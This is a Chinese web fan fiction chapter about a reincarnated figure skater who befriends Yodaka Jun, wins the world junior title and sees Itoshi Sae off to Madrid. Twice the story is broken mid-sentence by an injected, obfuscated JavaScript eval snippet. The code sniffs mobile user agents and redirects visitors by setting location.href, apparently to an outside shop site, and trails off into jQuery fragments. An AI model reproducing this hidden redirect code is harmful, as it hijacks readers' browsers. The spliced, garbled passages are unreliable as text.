“好吃。” “什么味的?” “香草。” “哦。” 世一想了想。 “那下次我也要吃香草的。” * * 总共三口冰淇淋并没有对洁千穗造成影响。 全日锦标赛,毫无疑问,她凭借与大奖赛相比略有精进的两套节目夺得冠军。 德彪西钢琴版加弦乐四重奏remin版的《月光》、 《艺伎回忆录》的《The Chairman‘s Waltz》 + 《Going to School》 + 《Bing a Geisha》交响组曲……她死皮赖脸找夜鹰纯参考来的节目,确实能打(虽然所谓的参考只是不断地否定她的意见)。 嗯,夜鹰纯,这位本世界花滑男单天花板——千穗和他认识。 千穗3岁就说要学花滑,父母出于小孩的身体发育考虑4岁才让她正式加入俱乐部,但在此之前,也没少带去冰场看。 而千穗4岁加入俱乐部时,夜鹰纯14岁,频繁换俱乐部和教练的他那时刚好和她一个俱乐部。 凭借前世的经验和早已在梦境空间练到烂的基础动作加成、千穗那时确实是被教练惊喜赞扬的天才。 “仿佛生来就属于花滑!” 于是很快引起了总教练的注意。 对方很乐意在发现自己无法教导夜鹰纯什么的时候、找一名新的天才学员寻求安慰……即使这是无意识的。 而她喜欢在旁边看夜鹰纯训练。 虽然她当时只能做到看会,毕竟年纪太小身体跟不上。 千穗本来只是想远远的看着花滑界龙傲天年幼时期的珍贵画面。 可惜系统不允许—— 【检测到附近有重要剧情角色:夜鹰纯(《金牌得主》重要配角,现阶段本世界花滑男单天花板)】 【接触可增加寿命:1天/次】 白鸦的声音在她脑子里响起的时候,洁千穗正在冰场边上换鞋。 她动作顿了一下。 然后抬起头,顺着系统指引的方向看过去。 挡板那边,一个看起来十几岁的少年正靠在边上系鞋带。头发有点长,遮住半边脸,表情淡淡的,浑身上下散发着“别来烦我”的气场。 夜鹰纯。 《金牌得主》里面那个20岁夺得奥运金牌且人生当中的所有比赛都是金牌的“神仙人物”。 不过这些都不重要。 重要的是—— 1天/次。 洁千穗低下头,继续换鞋,表情毫无波澜。 她知道,自己得去和这个看漫画表现社会化程度极低的人努力社交了。 . 四岁的洁千穗,人生目标非常简单:活下去。 系统给她定的初始寿命是18年,她得靠各种方式往上加。接触剧情角色是其中最容易的一种——不需要训练,不需要比赛,只要出现在对方身边,系统就会自动判定“接触成功”,然后寿命+1天。 一天一天地加,积少成多。 所以当她发现这个冰场里居然有一个“重要剧情角色”的时候,她的第一反应不是“哇是名人”,而是—— 太好了,以后每天都能多活一天了。 . 于是她开始了她的“偶遇”计划。 首先,观察目标的活动规律。 夜鹰纯每天下午三点到五点训练。他喜欢在冰场最左边的那块区域练跳跃,休息的时候会去角落的自动贩卖机买运动饮料,换鞋的时候习惯坐在更衣室门口的长椅上。 掌握这些信息之后,洁千穗开始精准踩点。 他在冰场这头练跳跃,她就坐在挡板外的那头看——坐着就能加寿命,简直是躺着赚钱。 他在休息区喝水,她就坐在不远处的长椅上,小口小口嘬她的保温杯——保温杯里装的是妈妈泡的蜂蜜水,但她喝得很慢,这样可以在他休息的十分钟里多蹭一会儿。 他去更衣室换鞋,她就站在门口等着——虽然进不去,但只要距离够近,系统就会判定“接触成功”。 第一天,寿命无变化。 第二天,寿命无变化。 第三天,寿命无变化。 因为问题是——这个“接触”的判定似乎需要对方也意识到她的存在。 白鸦解释过:【“接触”是指双向的互动。单方面的靠近不算,必须让对方注意到你。】 于是第四天,当夜鹰纯换好鞋从更衣室出来,发现那个小丸子头又站在门口的时候,他终于停下了脚步。 “……有事?” 洁千穗摇摇头,抱着保温杯跑开了。 但她心里在算:刚才他对她说话了,这算“互动”吧?算吧? 当天晚上,她看到寿命又加了1天。 好的,明白了。 光看着不行,得让他主动理她。 . 五天后,洁千穗制定了新的计划。 她需要制造一个“不得不互动”的场景。 送东西是个好主意。妈妈说过,给别人送礼物,对方一般都会说谢谢——只要他说谢谢,就算互动。 于是她从自己的零食储备里挑了一块巧克力。 银色包装纸,亮晶晶的,看起来很好吃。 训练结束,夜鹰纯往外走。 洁千穗跟上去,拽住他的运动裤。 “给你。” 夜鹰纯低头看她。 “我不吃。” 洁千穗早有预料。 她继续举着巧克力,眼睛眨也不眨地看着他。 夜鹰纯绕开她,继续走。 她追上去。 他停下,她也停下。 他继续走,她又追。 反复三次。 夜鹰纯终于转过身。 “你跟着我干什么?” “给你巧克力。” “我说了不吃。” “为什么?” “就是不吃。” 洁千穗歪着头看他,脑子里快速运转。 得说点什么让他收下。 她想起妈妈前几天说的话:“给喜欢的人送东西,对方收下的话,就会变成朋友。” 这给了她灵感,而且反正现在是小孩子、大脑发育不完全转不快,想到啥就是啥吧。 于是她说: “可是妈妈说,给喜欢的人送东西,对方收下的话,就会变成朋友。” 夜鹰纯愣了一下。 洁千穗趁机补充: “可是我喜欢看你滑冰。” 这话是真的。 千穗本来就是来观察他滑冰的。而且他滑得是真的好,跳跃又高又飘,落冰稳得不像真人。 夜鹰纯沉默了。 这时候,平时没啥存在感的教练声音从后面传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326682|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : “夜鹰,人家小朋友送你东西就收下嘛,别惹哭人家。” 洁千穗心想:我不会哭的,但你要是收下就更好了。 两秒后,夜鹰纯伸手,把那块巧克力拿了过去。 “可以了?” 洁千穗点点头,眼睛弯起来。 “嗯!谢谢!” 她抱着保温杯跑开,心情很好。 看来年轻版的夜鹰纯嘴还没那么毒嘛。 . 第二天,她又出现在休息区。 夜鹰纯从她面前走过,顿了一下。 “……昨天那个,还行。” 洁千穗眨眨眼。 “什么还行?” “巧克力。” 她笑起来。 “那我明天再给你带!” “……随便你。” 洁千穗看着他的背影,在心里默默记了一笔: 他说“还行”=他觉得不错=下次还可以送。 而且他主动跟她说话了! 这算双向互动吧?算吧? 当天晚上,寿命又加了1天。 计划通。 . 后来,“明天再给你带”真的变成了日常。 有时候是巧克力,有时候是糖果,有时候是那种一小包一小包的饼干。 反正她的零食多,分出去一点也没什么,甚至对方经常只收下但不吃她也能理解。 而且每次送完,夜鹰纯都会说点什么——“还行”、“嗯”、“谢谢”——不管说什么,只要开口,就算互动。 洁千穗算了算:每天送东西,他说一句话,寿命+1天;偶尔在冰场边上看他训练,他注意到她,也算+1天。 双倍快乐。 她坐在挡板外那个固定的位置,两条小短腿悬空晃着,眼睛跟着他在冰上的轨迹转。 有时候他会往这边看一眼。 洁千穗就冲他挥挥手。 他没什么表情地移开视线。 但洁千穗不在意。 反正寿命已经加了。 . 有一次她问他: “你为什么要一直换教练啊?” 夜鹰纯动作顿了顿。 “谁告诉你的?” “教练他们说的。”洁千穗歪着头,“说你很厉害,但是没有人能教你。” 夜鹰纯没说话。 洁千穗想了想。 她其实不太明白为什么没人能教他——她看那些教练明明都很厉害的样子。但既然系统说他是“重要剧情角色”,那肯定有他的特殊之处吧。 “那你现在有人教吗?” “没有。” “哦。” 她点点头。 然后脑子里突然闪过一个念头。 如果他能一直在这里训练,她不就能一直蹭寿命了吗?但如果他因为没人教而离开…… 不行,得想办法让他留下来。 可是她能有什么办法?她才四岁。 要不…… “那我教你吧。” 话脱口而出。 夜鹰纯看着她。 洁千穗自己也愣了一下,并且终于感到了万分羞耻。 但话已经说出去了,她只好硬着头皮继续。 “教你……”她想了想,“教你怎么不生气。” “我不生气。” “你生气的。”她说,“你滑得不好的时候,就会生气。我看出来了。” 这是真的。 她看了他这么多天,早就发现了。他偶尔几次跳跃不完美或者滑行不稳的时候,表情虽然没变化,但整个人的气场都会冷下来。那种“别靠近我”的感觉比平时强十倍。 夜鹰纯沉默了两秒。 “……你才多大?” “四岁。”她伸出四根手指,“马上就五岁了。” “四岁能看出什么?” “能看出你在生气啊。” 她说得理直气壮。 这不是假话。 她上辈子活了二十年,一个十几岁少年生没生气,她还是看得出来的。 夜鹰纯没再说话。 过了一会儿,他站起身,往冰场走。 洁千穗看着他的背影,有点懊恼。 是不是说错话了? 但她还是努力迈开腿跟着夜鹰纯往前走,小小声问她: “你明天还来吗?” 夜鹰纯看着顿了一下。 随后千穗听见了他的回应: “……来。” 她暂时松了口气。 . 但是很可惜,后来夜鹰纯依旧换了俱乐部。 洁千穗从教练那里听到这个消息的时候,心里咯噔一下。 很快又觉得这很能理解。 毕竟如果是她,为了提高花滑水平,只待在这里是不够的、以后肯定也会换俱乐部。 但不妨碍她觉得可惜。 她于是站在冰场门口,看着他走出来。 “你要走了吗?” “嗯。” “那以后还能看到你滑冰吗?” “电视上。” 洁千穗眨眨眼。 电视上? 那也算接触吗? 她不抱希望地在心里默默问白鸦。 【电视转播不算。必须面对面。】 能理解。 小千穗从口袋里掏出最后一块巧克力——本来打算明天送的——递给他。 “给你。” 夜鹰纯接过来。 “谢谢。” 他说了“谢谢”。 洁千穗愣了一下。 这是她第一次听他说这两个字。 然后她笑起来。 “不客气!” 她挥挥手。 “要加油哦!” 夜鹰纯看着她。 阳光落在他脸上,表情还是淡淡的。 他点点头。 “嗯。” 然后转身走了。 洁千穗站在原地,看着他的背影消失在路口。 略感慨这个人以后不知道发生了什么,才会早早退役、离开他那么喜欢的冰面。 但这与她关系不大了—— 然后在她八岁偶遇迹部大少爷后,迹部少爷就此带着他们一家(以及后来的同学朋友)迷上花滑,开始投资她——或者说是作为帮助迷路的迹部景吾的回报——在她住的县成立了一家花滑俱乐部,重金邀请了各种知名教练和选手。 然后,夜鹰纯因为该俱乐部在当时断层的高待遇(这里还要联系到他的一点自身经历和某几位与他合作过的知名教练),也签约了这个俱乐部。 他们就又遇上了。 这次她死皮赖脸在对方离开俱乐部前要了联系方式。 这人退役失联前还帮忙引荐了高峰匠教练,帮她编排、后面又在她自身挽留下,高峰匠教练选择成为她现阶段的主教练。 这人退役失联后,千穗靠着迹部景吾(资本神力,以及系统神力)的帮忙获得了对方的近况。 然后就是不停“骚扰”这位金牌得主、确认对方还活着。 话说这几年他就要遇上命中注定的学生狼崎光了吧? emmm…说不定能当对方的师姐。 洁千穗没怎么放在心上的想。 和往常一样,照例把自己的奖牌照片全部发给夜鹰纯,就当纪念荣誉。 5. 世青赛 获得全日锦标赛青年组冠军之后,洁千穗按照约定去看了糸师冴的比赛,对方也是又赢了。 然后,她就要为明年终于能够参加的世青赛(大概在3月)做准备了。 并又在出国比赛前不久,她又带着自家爱上足球好多年的弟弟去看了糸师冴取得日本俱乐部青少年锦标赛(u15)冠军的总决赛。 这一次年龄达标的糸师凛终于能上场了。 而拥有系统的她当然知道这场比赛的结果。 就是冴和他弟踢球的风格一如既往的难评。 看完比赛以后,千穗估摸着这次人太多大概没机会和他俩说上话,就带着兴奋的弟弟先行离开了。 然后隔天训练刚结束就接到糸师冴的电话了。 她刚从冰场下来,膝盖还泛着训练过度的酸软,更衣室里开了暖气,闷得人发昏。手机在储物柜里震动,屏幕显示昵称:面瘫冴。 “喂。” “……你还在日本。” 对面声音听不出情绪,但千穗认识糸师冴七年,从六岁初遇开始算,这人说陈述句还是疑问句她闭眼都能分清。这是陈述句。 “在啊,我明天的飞机。”她把毛巾搭在肩上,“你呢,打电话过来是要我恭喜你得冠吗?” “你到现场了。” “嗯。” 千穗等着。电话那头沉默三秒,然后冴说: “西班牙RE·AL给我发邀请了。” 更衣室暖气轰隆隆地响。千穗把手机换到另一边耳朵,又换回来。 “马德里那个?” “西班牙还有第二个RE·AL?” “……你几岁。” “十三。” “你是准备自己一个人去吗?” “你不也一样吗?” 千穗知道他是指自己去年出国参加Junior GP的事……大概还包括几天后参加世青赛。 “教练不是人吗?而且我爸最后一天也过来看我了。”她吐槽。 “那我也有经纪人。”对面的声音依旧毫无起伏。 “……你爸妈怎么说。”千穗转移话题。 “没说什么。” “那你给我打电话干什么。” 冴没回答。 千穗听见电话那头有人喊他的名字,大概是刚结束训练,背景音是球鞋摩擦地板的吱呀声、应该是他弟糸师凛——她走神半秒,然后冴说: “挂了。” “等等。” 她叫住他。 更衣室暖气还在轰隆,她忽然觉得热得有点离谱。 “西班牙,”千穗说,“挺远的。” “嗯,比保加利亚远点。” “你西班牙语学了吗。” “……才收到通知,我英语也不错。” “那还得学,赶紧学。” 电话那头沉默一下,然后冴轻轻地、几乎是从鼻腔里哼出一个音节。 “知道了。” 挂了。 千穗无语中又觉得诡异的理所当然。 冷淡自我这一块,糸师冴和夜鹰纯不相上下。 甚至她感觉夜鹰纯在这个年纪更通人性点……也可能是千穗当时占据小孩的优势,毕竟她看夜鹰纯对其他人也基本是一副人机样。 . 千穗又在更衣室坐了半分钟,才起身准备离开。 糸师冴和她同一年出生,但他生日是10月10日,他们差了9个月。 上学的话,由于是4月开学,4月前和4月后的孩子不是同一学年。 由此千穗比冴大一级,4月1日出生的洁世一刚好卡线,同样比9月9日出生的糸师凛大一级。 千穗已经14岁了,不久前也看了16岁的冬奥冠军莱莉.福克斯的采访,且由于依旧处在青年组、依旧无法与莱莉同台竞争而充满遗憾。 不过对方在冬奥赛场上跳出的4F……好吧,就是很魔幻。 她只能说,这个世界的花滑选手进入4周时期也比她上辈子快,平昌奥运前的4年,女单估计就要开始卷4周跳了。 并且一想到十年后《金牌得主》剧情开始,比赛的日萝人均3A配置……堪称可怕。 而糸师冴呢,距离14岁还差几个月,与《蓝色监狱》的剧情一样被RE·AL俱乐部邀请(就是本世界的皇马)。 千穗知道对方会在青训的那几年放弃前锋梦转到中场。 双方的未来貌似也是颇为坎坷啊。 千穗在回去的路上思绪放飞着,忽然想起刚才没问对方大概几号的飞机,准备拿出手机补问一下。 手机拿手上了,又觉得没必要。 毕竟她明天就出国去保加利亚索菲亚市比赛了,比完赛又要立刻去俄罗斯外训了。 大概没时间送行。 那就算了,还是提醒他记得买点西班牙特产寄过来吧。 【Chiho:下次见面记得带点西班牙特产给我,去年我可是给你带了诺亚的签名】虽然是给他弟要签名时顺手多签的,这人也不追球星。 【Sae(备注面瘫人机2号):……】 【:哦。你呢?】 【Chiho:不管是保加利亚还是俄罗斯的特产会给你带的,凛的也没忘】 【Sae:嗯】 ——反正就给世一带礼物时多顺几份。 千穗叹气,朋友有点多,礼物也得多准备点。 * * 冰面在聚光灯下泛着冷白色的光。 洁千穗站在挡板边,最后一次调整冰刀的松紧。保加利亚索菲亚的冰场比日本的干燥,空气里飘着淡淡的消毒水味,观众席的喧嚣隔着冰层传来,闷闷的,像隔着一层膜。 高峰教练在旁边说了什么,她没听进去。 她只是在想—— 《加勒比海盗》。 这首曲子她听过无数遍,在梦境空间里滑过上百遍,在现实训练里摔过几十遍。但每一次站在冰场入口,等待广播报出自己名字的时候,那种微妙的紧张感还是会从胃里升起来。 不是害怕。 是……期待。 “洁千穗选手。” 广播声响起,法语、英语播报两遍。 她深吸一口气,冰刀踏上冰面的瞬间,整个世界安静了。 ——第一个音从音响里流出来的瞬间,她的身体就动了。 3Lz+3T。 开场勾手三周接后外点冰三周,这套节目的第一个技术难点。她起跳时冰刀刮起的冰屑在空中散开,像一蓬细碎的雪。腾空的高度比训练时还要高出一点——她知道,因为旋转时视野里的观众席比平时低。 落冰。 右后外刃稳稳切进冰面,弧线流畅得像用尺子量过。 GOE—— 她当然没空去想分数。 分数是之后的事。 现在,她只是滑。 … 3F,进入步法是一串快速的莫霍克,左脚点冰起跳的瞬间,她听见音乐里弦乐的撕裂声。落冰时膝盖弯到最深,滑出弧线的同时接上一个阿拉贝斯克,极短的裙摆甩开的弧度刚好卡在下一个重音上。 3Lo,后外结环三周。这个跳跃她曾经摔过数次,因为起跳时身体容易歪。但今天不会。今天她的轴心稳得像钉在冰面上,空中三圈转完,落冰的瞬间甚至有余力在冰面上多滑出半米的弧线。 然后—— 音乐变了。 弦乐沉下去,铜管的声音从远处涌来,像是暴风雨前的低语。 3A。 阿克塞尔三周半。 ——洁千穗起跳的时候,脑子里其实什么都没想。 所有的一切都交给了身体。 左前外刃切入冰面,膝盖蓄力,摆臂,腾空——那一瞬间她离开了冰面,世界变成一片模糊的光影。三周半,在空中转体的角度要精确到度,落冰时右后外刃切入的时机要精确到毫秒。 她已经记不起自己做了多少遍。 在梦里。 在训练里。 在每一次摔倒又爬起来之后。 冰刀切进冰面的声音,清脆得像玻璃碎裂。 落冰—— 稳。 … 接下来的3S是缓冲,3Lz是第二个勾手三周,质量依然高得惊人。但真正让观众席沸腾的,是那个2A+2T+2Lo的三连跳。 节目的后半段,体力已经开始下降。 但她的起跳高度没有降,落冰的稳定性没有降,连三个跳跃之间的衔接步法都干净得像刀切豆腐。 解说员的声音从转播信号里传出来,激动得有些破音: “Three jumps in a row! And she lands them all clean!” … StSq。 定级步法。 洁千穗喜欢步法。 因为步法的时候,她可以不用想跳跃,不用算转速,不用考虑落冰的角度——她只需要滑。 冰刀切过冰面的声音连绵成一条线,她在冰上画出一个个圆、一个个弧、一个个交叉的图案。音乐从弦乐变成管乐,从管乐变成交响,她的身体跟着节奏起伏,裙摆在旋转中绽开又收拢。 最后,ChSq。 编排步法。 她做了一个hydroblading——这个她上一世因此喜欢花滑、这个世界由夜鹰纯推动产生的动作。 身体几乎贴着冰面滑过,一只手垂下去,指尖偶尔擦过冰面的瞬间,冰凉的触感从指尖传到大脑。 观众席爆发出尖叫。 只有她清楚这还不太标准。 而最后——CCoSp,换足联合旋转——FSSp,跳接燕式转。 结束旋转。 她把自己转成一个模糊的影子,黑蓝色的考斯滕在灯光下旋成一朵花。旋转的速度慢下来,慢下来,定格在音乐最后一个音落下的瞬间。 冰场安静了一秒。 然后,掌声。 洁千穗站在冰面中央,胸口剧烈起伏,汗从额角滑下来,滴在冰面上。 她抬起头,看向观众席。 保加利亚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326683|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的观众沸腾着、挥舞着应援物。有人在喊她的名字,但她听不清在喊什么。 她只是弯下腰,把手放在冰面上。 凉的。 永远都是凉的。 但她喜欢这种感觉。 . Kiss&Cry区。 高峰教练把外套披在她肩上,什么都没说,只是拍了拍她的背。 分数出来的时候,她看见教练的眼睛亮了一下。 128.60。 自由滑总分。 加上短节目的69.25——197.85。 她愣了一秒。 然后屏幕上打出排名: 1. 洁千穗 (JPN) —— 197.85 2. …… (USA) —— 186.34 毫无疑问的金牌。 … 领奖台上,她弯下腰,让工作人员把金牌挂上脖子。 再次拿到国际赛事的金牌,她依旧没那么多情绪。只知道自己离全满贯又近了一步。 有种理所当然的感觉,大概是夜鹰纯附体了。 . 一切结束。 洁千穗将更衣室的门推开,走进去,坐在长椅上,盯着手里的金牌看了一会儿。 金属的光泽在日光灯下有点晃眼。 她掏出手机,拍了张照片。 【Chiho:】[图片] 【Chiho:世青赛金牌get】 第一个回复的是世一。 【Yoichi(备注小草):姐姐好厉害!什么时候回来?】 然后是迹部景吾、忍足俱士和幸村精市,三个人几乎是同时回复的,且都是长消息。 三种不同风格的赞美,并且都表示很遗憾因为升学问题没法去现场看比赛。 她针对三个人的性格回复感谢。 还有孤爪研磨,一只猫瘫在地上的表情包,配文“累了吗”。 她笑了一下。 然后是夜鹰纯。 【Yodaka(备注面瘫人机1号):嗯。】 只有一个字。 但她知道这是什么意思。 大概是认为她这次表现还行。 在他那里已经算是最高评价了。 . 手机又震了一下。 糸师冴。 【Sae:197.85?】 她愣了一下,然后立刻想起来这是她两套节目的总分。 【Chiho:嗯,怎么样?】 【Sae:还行】 她盯着那两个字看了两秒,意外的并不生气。 还行。 两个面瘫人机真是异曲同工的回复。 也因此,同样的道理,这已经是糸师冴嘴里“很好”的意思了。 【Chiho:你那边呢?西班牙语学得怎么样了?】 【Sae:还行】 【Sae:你还回日本吗?】 千穗回忆了下高峰教练和她商量后的安排。 【Chiho:嗯,先回埼玉看完世锦赛,然后和约好的俄罗斯选手一起去俄罗斯……我想等4月2号再走,帮我弟庆生】 今年的世锦赛3月24日到3月30日期间在埼玉县的超级竞技场举行。 【Sae:哦,我也2号的飞机】 千穗看着屏幕,愣了一下。 糸师冴又把自己的机票邮件发过来。 千穗挑眉。 【Chiho:我们的航班在同一家机场啊】 【Sae:也只有这家机场了吧】 也对。埼玉县和神奈川县本身没有大型国际机场,而同样在东京圈的千叶县有?成田国际机场,是岛国最主要的国际航空门户,拥有飞往俄罗斯莫斯科和西班牙马德里的直飞航班。 【Chiho:我比你晚1个小时,刚好给你送行】 【Sae:嗯】 之后她又去回复其他人的信息了。 又过了十几分钟后,千穗才把手机放下。 她将金牌举起来,对着灯光看了一会儿。 金牌上刻着世青赛的logo,还有2014年的字样。 她想起两年前,自己还在Novice组拿四连冠。想起去年,在福冈拿JGPF金牌。想起第一次见到夜鹰纯的时候,她四岁,他十四岁。 想起搬家后糸师冴第一次给她发消息,是她第一次NoviceB组夺冠。 想起世一第一次说想踢足球,她说不练花滑也没关系。 ——手机又震了。 【小草:姐姐什么时候回来?妈妈说给你做好吃的】 【Chiho:明天下午,看完埼玉的比赛给你过生日】 【小草:好!!!】 【:最喜欢姐姐了!】 她看着屏幕,又忍不住笑了。 然后把手机收进口袋,把金牌装进包里,站起身,推开更衣室的门。 冰场的走廊很长,尽头是出口,外面的阳光透进来,有点刺眼。 她走向那片光。 6. 外训 3月12日到16日,保加利亚索菲亚世界青少年花样滑冰锦标赛(世青赛)结束,女单洁千穗、男单尤里.普利赛提获得冠军——两人也是去年大奖赛青年组的冠军。 3月24日到30日,日本埼玉世界花样滑冰锦标赛结束。 男单冠军维克托·尼基福罗夫在26岁获得14年索契冬奥冠军后,实现了他世锦赛的四连冠,成为夜鹰纯退役后花滑男单毫无争议的第一人。 洁千穗知道他是《冰上的尤里》的主要角色之一,并将在27岁实现大奖赛决赛男子单人五连霸、 28岁实现世界花样滑冰锦标赛男子单人五连霸,和尤里.普利赛提师出同门—— 不过可能是因为和《金牌得主》夜鹰纯设定“所有比赛都是金牌”的底层代码冲突了,他在这个世界晚一年出生,然后提前一年实现五连霸(但夜鹰纯貌似晚出生4年,她实在搞不懂这个综漫世界的时间线)。 维克托和尤里这两位冠军以及他们剩下的同门格奥尔基·波波维奇、米拉·芭比切娃与教练雅科夫·费尔茨曼,将会带着她一起回俄罗斯。 嗯,这就是她的外训。 千穗10岁的时候就去过俄罗斯,并且是在夜鹰纯(难得不人机)的推荐下、去了雅科夫·费尔茨曼的夏令营,她在那里就认识了尤里、米拉和格奥尔基,还有几位其他国家是选手。 哦,因为是夜鹰纯推荐的,维克托也过来瞅过她几眼,交换联系方式,也算认识了。 从夜鹰纯13岁登上国际舞台到20岁退役,这两人可以说是最大的竞争对手—— 有夜鹰纯的比赛夜鹰纯是冠军,没夜鹰纯的比赛维克多是冠军。 与此同时还有一位倒霉蛋瑞士选手克里斯托夫·贾科梅蒂,和夜鹰纯同岁,有前两人的比赛他基本第3名,两个人哪一个没参赛他就基本第2名。 抗压能力非常之强。 而千穗只能说,这大概依旧是两部花滑番底层代码相互肘击的结果。 总之,10岁之后,在迹部的投资下,千穗每年都会抽时间出国外训或者直接把教练请过来。 但一般是短期的,2~3周就结束,爸妈也会带着世一一起出国、既是陪她也是旅游(顺便说一下在白鸦的帮助下,本来就不算缺钱的她家现在更富了)。 这次不太一样,她预计要在俄罗斯待两个月,所以最大的金主迹部少爷帮她找了经纪人,叫北野宁宁。 千穗根据白鸦给的剧情看了看,对方本来应该是《樱花任务》中人气摇滚乐队Ptolemaios的经纪人,但现在这个摇滚乐队貌似还没成立。 而迹部成立的俱乐部其实是吞了当地的俱乐部荒川Glow(不过由于千穗觉得“荒川Glow”名字不错就保留下来了),人家刚退役的花滑选手蜻堂绯纱子来当助教了,这次和她一起去俄罗斯。 除此之外,去年通过夜鹰纯搭上关系的天才编舞师雷奥尼多.索罗金也在这趟飞机上—— 千穗世青赛的编舞就是他帮忙改的。 他同时还帮同一祖国的维克托和尤里编舞,和雅科夫、维克托是朋友,也是长期合作关系。 这位编舞大师嘴上说着不来看几人比赛,结果最后还是坐上飞机偷偷过来了,后面还要一起乘飞机回去。 . 4月2日,洁千穗陪弟弟过完生日,就要飞往俄罗斯了。 ——成田国际机场。 洁千穗拉着弟弟的手,跟着推着行李箱的父母走进出发大厅时,一眼就看见了那个小豆色的后脑勺。 糸师冴站在值机柜台前,侧脸对着她的方向,正在办理托运。他旁边站着糸师凛,正抱着哥哥的背包,表情严肃得像是在执行什么重要任务。 他们的父母在一边和一个大概是糸师冴经纪人的家伙商量着什么。 “冴哥——!” 同样注意到糸师家的洁世一松开千穗的手,小跑了过去。 糸师冴闻声回头,目光越过世一,落在后面慢悠悠走过来的洁千穗身上。 “……来了。” “嗯。”千穗走近,看了一眼他手里的登机牌,“马德里,直飞?” “直飞。” “多久?” “十四个小时。” 千穗在心里换算了一下时差,西班牙比日本慢七个小时,他落地应该是当地时间的傍晚。 “那你现在上飞机,睡一觉就到了。” “嗯。” 对话一如既往的简洁。 旁边,糸师凛正用一种“你怎么也来了”的表情看着洁世一,洁世一则完全无视他的眼神,仰着头问糸师冴:“冴哥,西班牙远吗?” “远。” “那你能踢进很多球吗?” “能。” “那你能成为……” 知道未来会发生什么的千穗急急地伸手揉了揉是洁世一的头,转移话题: “你怎么比凛还关系冴的马德里生涯啊,到底谁才是他弟弟?” “对啊,你这家伙不要搞错了!”旁边的凛日常不满。 世一气鼓鼓地瞪她,千穗笑着把手收回来。 一年时间弟弟原本矮她半个头的已经快和她一样高了,而糸师凛目测已经比她高了……时间过得真快…… 正感慨着,千穗听见旁边传来一声很轻的哼。 她侧头,正对上糸师冴移开的视线。 ——刚才那声是他哼的?什么意思? 算了,不想了,人类是理解不了人机的。 . 两家的父母在旁边寒暄。洁妈妈和糸师妈妈是多年邻居,虽然搬走好几年了,但一直有联系,见面就聊个没完。洁爸爸和糸师爸爸站在稍远的地方,说着什么“一个人去国外不容易”“孩子有出息”之类的话。 千穗看了一眼时间。 离糸师冴登机还有四十分钟。 “走走?” 她看着糸师冴,下巴朝出发大厅的方向抬了抬。 糸师冴没说话,但脚步已经动了。 . 两个人并肩走在空旷的出发大厅里,落地窗外是停机坪,几架飞机正在装卸行李。 千穗走了一会儿,忽然想起什么,从背包里掏出一个巴掌大的布袋,递过去。 “给。” 糸师冴接过来,打开看了一眼。 里面是几个小包装的零食,还有一张卡片。 “保加利亚特产。”千穗解释,“玫瑰糖,玫瑰精油皂,还有那个……叫什么来着,保加利亚酸奶味的巧克力。挺奇怪的,但说不定你喜欢。” 糸师冴盯着那个布袋看了两秒,然后收起来。 “……哦。” “还有这个。”千穗又掏出一个信封,“世一写的加油信,让我转交给你。” 糸师冴把信封也收起来。 两个人继续走。 沉默了一会儿,千穗问:“紧张吗?” “不紧张。” “真的?” 糸师冴侧头看她。 “你呢?”他反问,“去俄罗斯,紧张吗?” 千穗想了想。 “有点吧。”她说,“毕竟要待两个月,而且雅科夫教练挺严格的。不过有维克托和尤里在,应该不会太无聊。” “维克托·尼基福罗夫?” “嗯,你认识?” “了解过一点,”糸师冴顿了顿,“冬奥金牌得主。” “那你知道夜鹰纯吗?” “10年冬奥金牌得主,20岁退役。” “哦,那你了解的还挺多的。”千穗心想他貌似不是只看她的比赛录播,是真去了解了一点花滑。 这时,他突然问: “——亚当.布雷克认识吗?” 千穗迟疑了一下,“…英格兰联赛的新秀?” “达旦.席尔巴呢?” “巴西的那个什么‘重装战车’?” “嗯,你也挺了解的。” 糸师冴莫名其妙地问完后、莫名其妙地点了点头,看着很满意。 千穗都不知道说什么好。 因为弟弟和各位运动番好友的原因,她当然有了解足球,并且还了解了相当多的其他运动。 . 两个人走到出发大厅的尽头,再往前就是通往登机口的安检通道。 千穗停下脚步。 “就送到这儿吧。” 糸师冴也停下来。 他转身,面对着她。 阳光从落地窗照进来,在他侧脸上落下一层浅浅的光。 “到了发消息。”千穗说。 “嗯。” “西班牙语好好学。” “嗯。” “别饿着自己。” “……嗯。” 千穗想了想,还有什么要交代的。 好像没有了。 但又好像有很多。 她看着面前这个人——认识七年,从六岁到十三岁,从神奈川的邻居到现在各自走向不同的国度。 “喂。”她忽然开口。 糸师冴看着她。 “等你拿大力神杯,”千穗说,“我来看你比赛。” 糸师冴沉默了两秒。 然后他微微垂下眼,嘴角动了动——很轻,几乎看不出来,但千穗看见了。 “等你拿了奥运金牌,”他说,“我也来看。” “说定了?” “说定了。” 千穗伸出手。 糸师冴看着那只手,顿了一下,然后握上去。 两只手交握的瞬间,千穗忽然觉得有点好笑。 认识七年,好像还是第一次这么正式地握手。 “那我走了。”糸师冴松开手。 “嗯。” 他转身,往安检通道走去。 走了几步,又停下来,回头看她。 “保重。” 千穗愣了一下。 这人居然会说“保重”? 她笑起来,朝他挥挥手。 “你也是。” 糸师冴看了她两秒,然后转身,消失在安检通道的尽头。 . 千穗在原地站了一会儿,才往回走。 走到一半,手机震了。 【Sae:登机了】 她低头看着那条消息,笑了一下。 【Chiho:一路平安】 . 